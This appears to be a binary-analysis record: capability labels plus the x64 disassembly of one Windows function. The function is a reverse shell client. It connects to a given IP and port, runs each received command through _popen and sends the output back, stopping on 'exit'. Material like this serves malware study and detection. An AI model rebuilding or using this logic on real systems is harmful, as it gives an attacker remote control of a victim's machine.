Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x6c8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x660], rcx
mov dword [rbp + 0x668], edx
mov qword [rbp + 0x638], 0xffffffffffffffff
lea rax, [rbp + 0x470]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x638], rax
mov word [rbp + 0x460], 2
lea rax, [rbp + 0x460]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x660]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
mov eax, dword [rbp + 0x668]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x462], ax
lea rdx, [rbp + 0x460]
mov rax, qword [rbp + 0x638]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x14000155f
lea rax, str.Failed_to_connect_to_server._n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp + 0x638]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400017ef
mov dword [rbp + 0x634], 0x400
mov eax, dword [rbp + 0x634]
movsxd rdx, eax
lea rax, [rbp + 0x60]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp + 0x634]
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x638]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x630], eax
cmp dword [rbp + 0x630], 0
jle 0x140001759
lea rax, [rbp + 0x616]
mov qword [rbp + 0x620], rax
nop
nop
lea rcx, [rbp + 0x616]
lea rdx, [rbp + 0x60]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x616]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x60]
lea rdx, str.exit
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x14000161a
mov ebx, 0
jmp 0x140001741
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
lea rax, [0x140005023]
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
jne 0x140001670
lea rax, str.Failed_to_run_command._n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, 1
jmp 0x140001741
lea rax, [rbp + 0x617]
mov qword [rbp + 0x618], rax
nop
nop
lea rdx, [rbp + 0x617]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, [0x14000503d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x617]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x1400016bf
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
mov rdx, qword [rbp + 0x628]
lea rax, [rbp - 0x20]
mov r8, rdx
mov edx, pe_nt_image_headers64
mov rcx, rax
call sym.fgets
test rax, rax
setne al
test al, al
jne 0x1400016af
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
mov ebx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x638]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 2
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test ebx, ebx
je 0x140001772
cmp ebx, 2
jmp 0x140001569
lea rax, str.Connection_closed_or_error_occurred._n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp + 0x638]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400017ef
add rsp, 0x6c8
pop rbx
pop rbp
ret